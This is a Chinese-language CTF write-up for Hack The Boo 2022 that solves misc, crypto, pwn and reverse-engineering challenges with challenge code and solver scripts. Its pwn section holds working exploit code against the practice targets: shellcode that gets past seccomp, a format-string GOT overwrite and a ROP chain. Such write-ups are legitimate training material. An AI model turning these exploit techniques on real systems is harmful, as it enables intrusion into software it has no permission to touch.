一个外国简单比赛,好多人队都答了25题,由于web不会,misc不熟,作了misc3,crypto4,pwn5,rev5不过有的找不到了,慢慢找。

misc

Wrong Spooky Season

附件也是个流量包,打开后在尾部有数据,追踪TCP流可以看到base64的码

显然是反过来放的,转回来解码得到flag

>>> a = "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS"
>>> from base64 import *
>>> b64decode(a[::-1])
b'HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}\n'

Trick or Breach

下来的附件是个流量包,全是DNS请求

Standard query 0xa49f A 504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
Standard query response 0xa49f A 504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com A 147.182.172.189
Standard query 0xdd23 A 0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
Standard query response 0xdd23 A 0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com A 147.182.172.189
Standard query 0xcf3f A 2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
Standard query response 0xcf3f A 2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com A 147.182.172.189

显然请求的pumpkincorp.com前的部分是16进制编码的数据,把这些数据弄下来,得到一个PK开头的文件,是个excel文件,打开后有flag

Halloween Invitation  不会

POOF 附件太大

Downgrade 未完成

作了一部分后边不知道怎么找了

┌──(kali㉿kali)-[~/ctf/pwn_spooky_time]
└─$ nc 161.35.33.243 30240                                                                                          +-----------+---------------------------------------------------------+
|   Title   |                       Description                       |
+-----------+---------------------------------------------------------+
| Downgrade |         During recent auditing, we noticed that         |
|           |     network authentication is not forced upon remote    |
|           |       connections to our Windows 2012 server. That      |
|           |           led us to investigate our system for          |
|           |  suspicious logins further. Provided the server's event |
|           |       logs, can you find any suspicious successful      |
|           |                          login?                         |
+-----------+---------------------------------------------------------+Which event log contains information about logon and logoff events? (for example: Setup)
> Security
[+] Correct!What is the event id for logs for a successful logon to a local computer? (for example: 1337)
> 4624
[+] Correct!Which is the default Active Directory authentication protocol? (for example: http)
> Kerberos
[+] Correct!Looking at all the logon events, what is the AuthPackage that stands out as different from all the rest? (for example: http)
> NTLM
[+] Correct![-] Wrong Answer.
What is the timestamp of the suspicious login (yyyy-MM-ddTHH:mm:ss) UTC? (for example, 2021-10-10T08:23:12)
>

看了个WP,其实就差一点了,认证协议只有3种,所以猜中第3题,第4题,第4题是仅出现一次的情况,所以显然可疑的登录就是唯一的这一个,登录时间是 2022/09/28 21:10:57但试过不对,看WP应该是输入2022-09-28T13:10:57(这个应该标准时间,输入的是+8的)

crypto

Gonna-Lift-Em-All

题目给了两个有限域的一元方程

import randomFLAG = b'HTB{??????????????????????????????????????????????????????????????????????}'def gen_params():p = getPrime(1024)g = random.randint(2, p-2)x = random.randint(2, p-2)h = pow(g, x, p)return (p, g, h), xdef encrypt(pubkey):p, g, h = pubkeym = bytes_to_long(FLAG)y = random.randint(2, p-2)s = pow(h, y, p)return (g * y % p, m * s % p)def main():pubkey, privkey = gen_params()c1, c2 = encrypt(pubkey)with open('data.txt', 'w') as f:f.write(f'p = {pubkey[0]}\ng = {pubkey[1]}\nh = {pubkey[2]}\n(c1, c2) = ({c1}, {c2})\n')if __name__ == "__main__":main()

两个方程式:c1 = g*y %p; c2 = m*pow(h,y,p)%p 其中p,g,h,c1,c2已知,通过第1式得到y再通过第2式得到m

p = 163096280281091423983210248406915712517889481034858950909290409636473708049935881617682030048346215988640991054059665720267702269812372029514413149200077540372286640767440712609200928109053348791072129620291461211782445376287196340880230151621619967077864403170491990385250500736122995129377670743204192511487
g = 90013867415033815546788865683138787340981114779795027049849106735163065530238112558925433950669257882773719245540328122774485318132233380232659378189294454934415433502907419484904868579770055146403383222584313613545633012035801235443658074554570316320175379613006002500159040573384221472749392328180810282909
h = 36126929766421201592898598390796462047092189488294899467611358820068759559145016809953567417997852926385712060056759236355651329519671229503584054092862591820977252929713375230785797177168714290835111838057125364932429350418633983021165325131930984126892231131770259051468531005183584452954169653119524751729
(c1, c2) = (159888401067473505158228981260048538206997685715926404215585294103028971525122709370069002987651820789915955483297339998284909198539884370216675928669717336010990834572641551913464452325312178797916891874885912285079465823124506696494765212303264868663818171793272450116611177713890102083844049242593904824396, 119922107693874734193003422004373653093552019951764644568950336416836757753914623024010126542723403161511430245803749782677240741425557896253881748212849840746908130439957915793292025688133503007044034712413879714604088691748282035315237472061427142978538459398404960344186573668737856258157623070654311038584)#c1 = g*y %p
from gmpy2 import *
y = c1 * invert(g,p) % p
print(y)
#c2 = m * s %p , s = h**y %p
s = pow(h,y,p)
m = c2 * invert(s, p) % p
print(long_to_bytes(m))
#HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}

Fast Carmichael 终于找到

这个想了半天没想到怎么弄,用欧拉伪素数判断方法。在网上能搜到足够的卡迈尔数和一个快速生成方法,但是显然对比的是-1而不是1所以实现不了。等WP吧

终于找到一个,从一篇论文里有一个300以下base 的强伪素数

p = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
n = p *(313*(p - 1) + 1)*(353 * (p - 1) + 1)
#2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867

输入这个数就OK了,主要是考验互联网搜论文的能力,不过按他的链接没有找到他的结果。

from secret import FLAG
from Crypto.Util.number import isPrime
import socketserver
import signalclass Handler(socketserver.BaseRequestHandler):def handle(self):signal.alarm(0)main(self.request)class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):passdef sendMessage(s, msg):s.send(msg.encode())def receiveMessage(s, msg):sendMessage(s, msg)return s.recv(4096).decode().strip()def generate_basis(n):basis = [True] * nfor i in range(3, int(n**0.5) + 1, 2):if basis[i]:basis[i * i::2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1)return [2] + [i for i in range(3, n, 2) if basis[i]]def millerRabin(n, b):basis = generate_basis(300)if n == 2 or n == 3:return Trueif n % 2 == 0:return Falser, s = 0, n - 1while s % 2 == 0:r += 1s //= 2for b in basis:x = pow(b, s, n)if x == 1 or x == n - 1:continuefor _ in range(r - 1):x = pow(x, 2, n)if x == n - 1:breakelse:return Falsereturn Truedef _isPrime(p):if p < 1:return Falseif (p.bit_length() <= 600) and (p.bit_length() > 1500):return Falseif not millerRabin(p, 300):return Falsereturn Truedef main(s):p = receiveMessage(s, "Give p: ")try:p = int(p)except:sendMessage(s, "Error!")if _isPrime(p) and not isPrime(p):sendMessage(s, FLAG)else:sendMessage(s, "Conditions not satisfied!")if __name__ == '__main__':socketserver.TCPServer.allow_reuse_address = Trueserver = ReusableTCPServer(("0.0.0.0", 1337), Handler)server.serve_forever()

Spooky RSA

题和解法找不到了,这个应该是很简单就没写

Whole Lotta Candy

给了两个程序,一个是server另一个是encrypt,其中server可以选择加密方式,加密和取加密后的flag,

from encrypt import Encryptor
from secret import FLAG
import socketserver
import random
import signal
import jsonMODES = ['ECB', 'CBC', 'CFB', 'OFB', 'CTR']class Handler(socketserver.BaseRequestHandler):def handle(self):signal.alarm(0)main(self.request)class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):passdef sendMessage(s, msg):s.send(msg.encode())def receiveMessage(s, msg):sendMessage(s, msg)return s.recv(4096).decode().strip()def main(s):mode = random.choice(MODES)enc = Encryptor()while True:try:sendMessage(s,f"Please interact with the server using json data!\n")sendMessage(s, f"Selected mode is {mode}.\n")payload = receiveMessage(s,"\nOptions:\n\n1.Encrypt flag\n2.Encrypt plaintext\n3.Change mode\n4.Exit\n\n> ")payload = json.loads(payload)option = payload["option"]if option == "1":ciphertext = enc.encrypt(FLAG, mode).hex()response = json.dumps({"response": "encrypted","ciphertext": ciphertext})sendMessage(s, "\n" + response + "\n")elif option == "2":payload = receiveMessage(s, "Enter plaintext: \n")payload = json.loads(payload)plaintext = payload['plaintext'].encode()ciphertext = enc.encrypt(plaintext, mode).hex()response = json.dumps({"response": "encrypted","ciphertext": ciphertext})sendMessage(s, "\n" + response + "\n")elif option == "3":response = json.dumps({"modes": MODES})sendMessage(s, "These are the supported modes\n" + response + "\n")payload = receiveMessage(s, "Expecting modes: \n")payload = json.loads(payload)mode = random.choice(payload['modes'])elif option == "4":sendMessage(s, "Bye bye\n")exit()except Exception as e:response = json.dumps({"response": "error", "message": str(e)})sendMessage(s, "\n" + response + "\n")exit()if __name__ == "__main__":socketserver.TCPServer.allow_reuse_address = Trueserver = ReusableTCPServer(("0.0.0.0", 1337), Handler)server.serve_forever()

encrypt.py就是用指定的加密方式加密没有问题,略。

漏洞就在于选择加密方式时,可选项由用户输入,这样可以选择CTR加密方式,CTR加密里先生成z0,z1...然后再与明文异或得到密文。这样只要随便输入个明文得到加密结果后就得到了z再与flag的密文异或即可。我输入的是64个0

from pwn import *a = bytes.fromhex("cdfd3535ef16e064f07bc31843a236f8a8f5af32d8cf6994562bcb973dc223de285a15605cb3b72012bcfd3c69e765f76f6751b52a1cc45b999d78f91fbc8996")
b = bytes.fromhex("b599477e94489f038e14834412a348ffabf2e735b79e6e93075890f861c32a862f5f7a6724b0d86763d5923b31a53a92661f3ee85b628d34e4c22cfa55f1bba48d77ba3555a05476b1e57098b18175ed")
c = b'0'*64m =bytes([a[i]^b[i]^c[i] for i in range(64)])
print(m)
#b'HTB{KnOWN_pla1N737x7_a77aCk_l19h75_7H3_wAY_7hroU9H_mANy_Mod3z}\x02\x02'

AHS512

一个自制的加密,先将每个字符右移4位再与左移3位或,再作hash,要求输入明文不同但密文相同的值。

from secret import FLAG
from hashlib import sha512
import socketserver
import signal
from random import randintWELCOME = """
**************** Welcome to the Hash Game. ****************
*                                                         *
*    Hash functions are really spooky.                    *
*    In this game you will have to face your fears.       *
*    Can you find a colision in the updated sha512?       *
*                                                         *
***********************************************************
"""class Handler(socketserver.BaseRequestHandler):def handle(self):signal.alarm(0)main(self.request)class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):passdef sendMessage(s, msg):s.send(msg.encode())def receiveMessage(s, msg):sendMessage(s, msg)return s.recv(4096).decode().strip()class ahs512():def __init__(self, message):self.message = messageself.key = self.generateKey()def generateKey(self):while True:key = randint(2, len(self.message) - 1)if len(self.message) % key == 0:breakreturn key    #2,4,5,10def transpose(self, message):           #随机值,但仅有2,4,5,10四种,当两次的随机数相同时即可transposed = [0 for _ in message]columns = len(message) // self.keyfor i, char in enumerate(message):row = i // columnscol = i % columnstransposed[col * self.key + row] = charreturn bytes(transposed)def rotate(self, message):return [((b >> 4) | (b << 3)) & 0xff for b in message]   #首位与尾位有重叠,将任一字符的尾位放在首位即可(原首位为0)def hexdigest(self):transposed = self.transpose(self.message)rotated = self.rotate(transposed)return sha512(bytes(rotated)).hexdigest()def main(s):sendMessage(s, WELCOME)original_message = b"pumpkin_spice_latte!"   # 70756d706b696e5f73706963655f6c61747465a0original_digest = ahs512(original_message).hexdigest()sendMessage(s,f"\nFind a message that generate the same hash as this one: {original_digest}\n")while True:try:message = receiveMessage(s, "\nEnter your message: ")message = bytes.fromhex(message)digest = ahs512(message).hexdigest()if ((original_digest == digest) and (message != original_message)):sendMessage(s, f"\n{FLAG}\n")else:sendMessage(s, "\nConditions not satisfied!\n")except KeyboardInterrupt:sendMessage(s, "\n\nExiting")exit(1)except Exception as e:sendMessage(s, f"\nAn error occurred while processing data: {e}\n")if __name__ == '__main__':socketserver.TCPServer.allow_reuse_address = Trueserver = ReusableTCPServer(("0.0.0.0", 1337), Handler)server.serve_forever()

这里右4左3存在重叠,只要把明文的任一字符末位方到首位即可,我改的最后一个!由0x21->0xa0

from pwn import *context.log_level = 'debug'while True:p = remote('139.59.167.169', 32069)p.sendlineafter(b'Enter your message: ', b'70756d706b696e5f73706963655f6c61747465a0')p.recvline()m = p.recvline()if b'not satisfied!' not in m:print(m)p.close()

pwn

Pumpkin Stand

先看源文

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{__int16 v3; // [rsp+4h] [rbp-4Ch] BYREF__int16 v4; // [rsp+6h] [rbp-4Ah] BYREFFILE *stream; // [rsp+8h] [rbp-48h]char s[8]; // [rsp+10h] [rbp-40h] BYREF__int64 v7; // [rsp+18h] [rbp-38h]__int64 v8; // [rsp+20h] [rbp-30h]__int64 v9; // [rsp+28h] [rbp-28h]__int64 v10; // [rsp+30h] [rbp-20h]__int64 v11; // [rsp+38h] [rbp-18h]unsigned __int64 v12; // [rsp+48h] [rbp-8h]v12 = __readfsqword(0x28u);setup(argc, argv, envp);banner();v3 = 0;v4 = 0;while ( 1 ){while ( 1 ){while ( 1 ){menu();__isoc99_scanf("%d", &v3);printf("\nHow many do you want?\n\n>> ");__isoc99_scanf("%d", &v4);if ( v4 > 0 )break;printf("%s\n[-] You cannot buy less than 1!\n", "\x1B[1;31m");}pumpcoins -= values[v3] * v4;if ( pumpcoins >= 0 )break;printf("\nCurrent pumpcoins: [%s%d%s]\n\n", "\x1B[1;33m", (unsigned int)pumpcoins, "\x1B[1;34m");printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");}if ( v3 == 1 ){printf("\nCurrent pumpcoins: [%s%d%s]\n\n", "\x1B[1;33m", (unsigned int)pumpcoins, "\x1B[1;34m");puts("\nGood luck crafting this huge pumpkin with a shovel!\n");}else{if ( pumpcoins > 9998 ){*(_QWORD *)s = 0LL;v7 = 0LL;v8 = 0LL;v9 = 0LL;v10 = 0LL;v11 = 0LL;stream = fopen("./flag.txt", "rb");if ( !stream ){puts("Error opening flag.txt, please contact an Administrator!\n");exit(1);}fgets(s, 48, stream);printf("%s\nCongratulations, here is the code to get your laser:\n\n%s\n\n", "\x1B[1;32m", s);exit(22);}printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");}}
}

显然当这里的偏移v3得到一个负值就能成功,而v3又没有作前边界检查,从values向前看

.got:0000000000201FF8 98 20 20 00 00 00 00 00       __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000201FF8                                                                       ; DATA XREF: __cxa_finalize↑r
.got:0000000000201FF8                                                                       ; __do_global_dtors_aux+9↑r
.got:0000000000201FF8                               _got ends
.got:0000000000201FF8
.data:0000000000202000                               ; ===========================================================================
.data:0000000000202000
.data:0000000000202000                               ; Segment type: Pure data
.data:0000000000202000                               ; Segment permissions: Read/Write
.data:0000000000202000                               _data segment qword public 'DATA' use64
.data:0000000000202000                               assume cs:_data
.data:0000000000202000                               ;org 202000h
.data:0000000000202000                               public __data_start ; weak
.data:0000000000202000 00                            __data_start db    0                    ; Alternative name is '__data_start'
.data:0000000000202000                                                                       ; data_start
.data:0000000000202001 00                            db    0
.data:0000000000202002 00                            db    0
.data:0000000000202003 00                            db    0
.data:0000000000202004 00                            db    0
.data:0000000000202005 00                            db    0
.data:0000000000202006 00                            db    0
.data:0000000000202007 00                            db    0
.data:0000000000202008                               public __dso_handle
.data:0000000000202008                               ; void *_dso_handle
.data:0000000000202008 08 20 20 00 00 00 00 00       __dso_handle dq offset __dso_handle     ; DATA XREF: __do_global_dtors_aux+17↑r
.data:0000000000202008                                                                       ; .data:__dso_handle↓o
.data:0000000000202010                               public values

它距离got表很近,当向前越界到got时,如果这一项已经有libc的值大概率会是负整数,输入-6即可。

Entity

这个很良心给了源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>static union {unsigned long long integer;char string[8];
} DataStore;typedef enum {STORE_GET,STORE_SET,FLAG
} action_t;typedef enum {INTEGER,STRING
} field_t;typedef struct { action_t act;field_t field;
} menu_t;menu_t menu() {menu_t res = { 0 };char buf[32] = { 0 };printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");fgets(buf, sizeof(buf), stdin);buf[strcspn(buf, "\n")] = 0;switch (buf[0]) {case 'T':res.act = STORE_SET;break;case 'R':res.act = STORE_GET;break;case 'C':res.act = FLAG;return res;default:puts("\nWhat's this nonsense?!");exit(-1);}printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");fgets(buf, sizeof(buf), stdin);buf[strcspn(buf, "\n")] = 0;switch (buf[0]) {case 'L':res.field = INTEGER;break;case 'S':res.field = STRING;break;default:printf("\nYou are doomed!\n");exit(-1);}return res;
}void set_field(field_t f) {char buf[32] = {0};printf("\nMaybe try a ritual?\n\n>> ");fgets(buf, sizeof(buf), stdin);switch (f) {case INTEGER:sscanf(buf, "%llu", &DataStore.integer);if (DataStore.integer == 13371337) {puts("\nWhat's this nonsense?!");exit(-1);}break;case STRING:memcpy(DataStore.string, buf, sizeof(DataStore.string));break;}}void get_field(field_t f) {printf("\nAnything else to try?\n\n>> ");switch (f) {case INTEGER:printf("%llu\n", DataStore.integer);break;case STRING:printf("%.8s\n", DataStore.string);break;}
}void get_flag() {if (DataStore.integer == 13371337) {system("cat flag.txt");exit(0);} else {puts("\nSorry, this will not work!");}
}int main() {setvbuf(stdout, NULL, _IONBF, 0);bzero(&DataStore, sizeof(DataStore));printf("\nSomething strange is coming out of the TV..\n");while (1) {menu_t result = menu();switch (result.act) {case STORE_SET:set_field(result.field);break;case STORE_GET:get_field(result.field);break;case FLAG:get_flag();break;}}}

它定义了一个结构可以放串或数字,检查数字是13371337即可给flag但在输入时仅检查数字,把13371337作为字符串写入即可

from pwn import *#p = process('./entity')
p = remote('178.62.85.130', 32321)p.sendlineafter(b'>> ', b'T')
p.sendlineafter(b'>> ', b'S')
p.sendlineafter(b'>> ', p64(13371337))
p.sendlineafter(b'>>', b'C')print(p.recvline())

Pumpking

这题栈可执行,所以就直接来shellcode就行了,不过用seccomp限制只能用openat,read,write这也不难,有个坑点,一般打开的flag文件id号是3,然后习惯于写3,但这个不是,所以打开文件后读的时候应该取rax的值。

openat的1参与不好弄,直接用绝对路径略过

from pwn import *p = remote('167.71.138.188', 31251)
#p = process('./pumpking')elf = ELF('./pumpking')context.arch='amd64'
context.log_level = 'debug'#gdb.attach(p)
#pause()p.sendlineafter(b': ', b"pumpk1ngRulez")shellcode  = '''
push 0x7478
mov rax, 0x742e67616c662f66
push rax
mov rax,0x74632f656d6f682f
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx
xor rcx, rcx
push 257
pop rax
syscallmov rdi,rax  /* file id */
mov rsi,rsp
mov rdx,0x50
mov rax,0
syscallmov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,0x150
syscall
'''#shellcode = "mov rdi,1;mov rsi,rsp;sub rsi,0x100;mov rdx,0x500;mov rax,1;syscall"
shellcode = asm(shellcode)p.sendlineafter(b'>> \0\0', shellcode)
print(p.recvall())
#p.shutdown()
p.interactive()

Spooky Time

这题有两次执行无固定格式串的printf

int __cdecl main(int argc, const char **argv, const char **envp)
{char format[12]; // [rsp+4h] [rbp-14Ch] BYREFchar v6[312]; // [rsp+10h] [rbp-140h] BYREFunsigned __int64 v7; // [rsp+148h] [rbp-8h]v7 = __readfsqword(0x28u);setup();banner();puts("It's your chance to scare those little kids, say something scary!\n");__isoc99_scanf("%11s", format);puts("\nSeriously?? I bet you can do better than ");printf(format);puts("\nAnyway, here comes another bunch of kids, let's try one more time..");puts("\n");__isoc99_scanf("%299s", v6);puts("\nOk, you are not good with that, do you think that was scary??\n");printf(v6);puts("Better luck next time!\n");return v7 - __readfsqword(0x28u);
}

第1次有长度限制,恰好可以从3和51分别得到题目加载地址和libc地址

第2次想不到好办法,由于one_gadget本身不一定能用,所以不优先考虑,没办法了回到这,将got.puts改为one[1]

from pwn import *#p = process('./spooky_time')
p = remote('161.35.164.157',31653)context(arch='amd64', log_level='debug')elf = ELF('./spooky_time')
libc_elf = ELF('./glibc/libc.so.6')p.sendlineafter(b"It's your chance to scare those little kids, say something scary!\n\n", b'%51$p,%3$p')
p.recvuntil(b'Seriously?? I bet you can do better than \n')
pwn_base = int(p.recvuntil(b',', drop=True), 16) - elf.sym['main']
libc_base = int(p.recvline(), 16) - libc_elf.sym['write'] - 23
libc_elf.address = libc_base
elf.address = pwn_base
print('pwn:', hex(pwn_base))
print('libc:', hex(libc_base))one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]payload = fmtstr_payload(8, {elf.got['puts']: libc_base + one[2]})
p.sendlineafter(b"let's try one more time..\n\n", payload)p.interactive()
#HTB{n0th1ng_sc4r1eR_th4n_fsb_w1th0ut_r3lR0}

Finale

这题有个提示:用了自制libc。所以虽然可以溢出但无法利用system,只能用ROP,而只提供了rsi,rdi没有rdx所以3参有点麻烦。

ssize_t finale()
{char buf[64]; // [rsp+0h] [rbp-40h] BYREFprintf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", buf);printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");fflush(stdin);fflush(_bss_start);read(0, buf, 0x1000uLL);return write(1, "\n[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!\n\n", 0x54uLL);
}

非常直白的一个溢出0x1000,当read时发现rdx=0,于是向前找能不能有个ret前rdx有值的,找到0x401476也就是这个read后也write三参的位置。然后在read前先调用它得到rdx再执行后边的操作。这前边用到leave;ret还要把溢出时破坏的rbp给恢复一下

from pwn import *#p = process('./finale')
p = remote('161.35.33.243', 30917)context.log_level = 'debug'
context.arch = 'amd64'elf = ELF('./finale')pop_rbp = 0x00000000004012bd # pop rbp ; ret
pop_rdi = 0x00000000004012d6 # pop rdi ; ret
pop_rsi = 0x00000000004012d8 # pop rsi ; ret#gdb.attach(p, 'b*0x40148f')p.sendlineafter(b'tell us the secret phrase: ', b's34s0nf1n4l3b00')p.recvuntil(b'with you for good luck: [')
stack = int(p.recvuntil(b']', drop=True), 16)pay = b'flag.txt'.ljust(0x48,b'\x00')
pay+= flat(pop_rdi, stack, pop_rsi, 0, elf.plt['open'])
pay+= flat(pop_rbp, stack+0x80, 0x401476, pop_rdi,3, pop_rsi, 0x404200, elf.plt['read'])
pay+= flat(pop_rdi, 0x404200, elf.plt['puts'])
p.sendlineafter(b'Now, tell us a wish for next year: ', pay)
p.recvuntil(b'Let the Spooktober Spirit be with you!\n\n')print(p.recvline())p.interactive()

rev

Cult Meeting

IDA打开可以看到flag

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[64]; // [rsp+0h] [rbp-40h] BYREFsetvbuf(_bss_start, 0LL, 2, 0LL);puts("\x1B[3mYou knock on the door and a panel slides back\x1B[0m");puts(asc_2040);fwrite("\"What is the password for this week's meeting?\" ", 1uLL, 0x30uLL, _bss_start);fgets(s, 64, stdin);*strchr(s, 10) = 0;if ( !strcmp(s, "sup3r_s3cr3t_p455w0rd_f0r_u!") ){puts("\x1B[3mThe panel slides closed and the lock clicks\x1B[0m");puts("|      | \"Welcome inside...\" ");system("/bin/sh");}else{puts("   \\/");puts(asc_2130);}return 0;
}

EncodedPayload

这是个32位程序,不能反编译,也看不明白流程,跟进去执行然后在内存里搜HTB找到flag

'''
gdb-peda$ find HTB
Searching for 'HTB' in: None ranges
Found 6 results, display max 6 items:[heap] : 0x5555555757ed ("HTB{PLz_strace_M333}")[heap] : 0x555555575830 ("HTB{PLz_strace_M333}")[heap] : 0x5555555758a0 ("HTB{PLz_strace_M333}")[heap] : 0x5555555758e8 ("HTB{PLz_strace_M333}\n")[heap] : 0x555555576420 ("HTB{PLz_strace_M333}\n")
[stack] : 0x7fffffffefdb ("HTB{PLz_strace_M333}")
'''

Ghost Wrangler

找不着题了,应该是极简题

Ouija

ida打开看到类似flag的串

  setvbuf(stdout, 0LL, 2, 0LL);v6 = strdup("ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}");puts("Retrieving key.");sleep(0xAu);

猜是移位密码

a = "ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}"flag = ''
for v in a:if 'A'<= v <= 'Z':flag += chr((ord(v)- 0x41 + 8)% 26 + 0x41 )elif 'a'<= v <= 'z':flag += chr((ord(v)- 0x61 + 8)% 26 + 0x61 )else:flag += vprint(flag)
#HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}

Secured Transfer

因为其它题都特别简单,这题猜他用的标准的库

__int64 __fastcall sub_16AF(__int64 a1, unsigned int a2, __int64 a3)
{__int64 v4; // raxunsigned int v6; // [rsp+28h] [rbp-48h] BYREFunsigned int v7; // [rsp+2Ch] [rbp-44h]const char *v8; // [rsp+30h] [rbp-40h]__int64 v9; // [rsp+38h] [rbp-38h]char v10[40]; // [rsp+40h] [rbp-30h] BYREFunsigned __int64 v11; // [rsp+68h] [rbp-8h]v11 = __readfsqword(0x28u);qmemcpy(v10, "supersecretkeyusedforencryption!", 32);v8 = "someinitialvalue";v9 = EVP_CIPHER_CTX_new();if ( !v9 )return 0LL;v4 = EVP_aes_256_cbc();if ( (unsigned int)EVP_DecryptInit_ex(v9, v4, 0LL, v10, v8) != 1 )return 0LL;if ( (unsigned int)EVP_DecryptUpdate(v9, a3, &v6, a1, a2) != 1 )return 0LL;v7 = v6;if ( (unsigned int)EVP_DecryptFinal_ex(v9, (int)v6 + a3, &v6) != 1 )return 0LL;v7 += v6;EVP_CIPHER_CTX_free(v9);return v7;
}

看名字是aes_256_cbc直接用程序解密

from Crypto.Cipher import AESkey = b"supersecretkeyusedforencryption!"
iv = b"someinitialvalue"c = bytes.fromhex('5f558867993dccc99879f7ca39c5e406972f84a3a9dd5d48972421ff375cb18c')aes = AES.new(key,AES.MODE_CBC,iv)
m = aes.decrypt(c)
print(m)
#b'HTB{vryS3CuR3_F1L3_TR4nsf3r}\x04\x04\x04\x04'

[Hack The Boo CTF 2022] writeup相关推荐

  1. 赛宁网安-r3kapig联合战队冲击DEF CON CTF 2022总决赛

    1993年,DEF CON黑客大会正式创办,第一届DEF CON CTF则始于1996年,是全球同类赛事中最具影响力的赛事之一,在圈内有着"黑客世界杯"的美誉. DEF CON C ...

  2. Newstar Ctf 2022| week2 wp

    Newstar Ctf 2022| week2 wp Newstar Ctf 2022第二周题目的wp. 文章目录 Newstar Ctf 2022| week2 wp Crypto unusual_ ...

  3. 2020羊城杯CTF随缘Writeup

    2020羊城杯CTF随缘Writeup docker源码链接: https://github.com/k3vin-3/YCBCTF2020 Web部分 a_piece_of_java 考点:源码审计. ...

  4. 第五空间CTF初赛WriteUp By EDISEC

    第五空间CTF初赛WriteUp By EDISEC Web 5_web_Eeeeasy_SQL 5_web_BaliYun 5_easylogin 5_web_letmeguess_1 Misc s ...

  5. Real World CTF 2022(体验赛)部分WP

    文章目录 Real World CTF 2022(体验赛) Digital Souvenir log4flag Be-a-Database-Hacker the Secrets of Memory b ...

  6. 2018福建省“百越杯”CTF初赛writeup

    2018福建省"百越杯"CTF初赛writeup PWN Boring Game 题目描述 nc 117.50.59.220 12345 解题经过下载下来后有两个文件pwn和lib ...

  7. Hack The Boo 2022 CTF题目writeups

    一个入门级的ctf比赛,网站链接: https://ctf.hackthebox.com/event/details/hack-the-boo-637 Forensics 1.Halloween_In ...

  8. 祥云杯2022 writeup

    0x01 web 1.ezjava 下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞 util ,最后好像没用到 检查程序,发现apache的common−collect ...

  9. t-star腾讯安全高校挑战赛2022 writeup

    文章目录 t-star writeup 赛题一 赛题二 赛题三 赛题四 赛题五 赛题六 参考 t-star writeup 赛题一 一个简单的验证码绕过,在包里,抓一下就可以登陆进后台了 在进入后台后 ...

最新文章

  1. C# 对Excel的样式操作
  2. 一致性hash算法 - consistent hashing
  3. jQuery中wrap、wrapAll和wrapInner用法以及区别
  4. Python class 类中 __init__ 函数
  5. nutch开发(六)
  6. Python中hasattr() getattr() setattr() 函数的使用
  7. java hotswap_DCEVM+HotSwapAgent实现java类热加载
  8. PyCharm点击设置没反应,无法进行设置
  9. java游戏循环 限定次数的游戏
  10. 用可视化报告拿到20W年终奖的时候,才知道数据可视化的重要
  11. MATLAB批量读取图片,剪切,存储,放大
  12. DBGrid 应用全书
  13. vscode 5500 but failed to open in Browser Preview. Got Browser Preview extension installed?
  14. 前端开发中如何将文件夹中的图片变为背景图_如何用Elementor设计banner
  15. Android studio3.2学习开发JNI并且生成so库教程
  16. ios之alloc和init
  17. 计算机操作系统答案(完整版)
  18. winform打开PDF,显示在窗口
  19. 在Mac系统下配置端口映射
  20. python 妹子图抓取

热门文章

  1. JAVA软件工程师必备开发软件搭建、破解、注册
  2. 网卡启动报错 No suitable device found: no device found for connection ‘System eth0‘ [FAILED]
  3. 毫米波雷达人体存在感应,精准感知人体存在,感知既互动
  4. easybcd不认linux分区,Linux之win764位下基于EasyBCD的硬盘安装ubuntu32位双系统一些错误总结...
  5. Java多线程基础-6:线程安全问题及解决措施,synchronized关键字与volatile关键字
  6. 德生PL-380音量失灵问题
  7. 在ABP中灵活使用AutoMapper
  8. Linux01-VM安装CentOS7并使用静态IP联网
  9. windows10配置zip版的MySQL 5.7.38
  10. 【技术分享】PS Adobe Photoshop 2021 (Prerelease) 关闭棕黄色 Time to update 提示框方法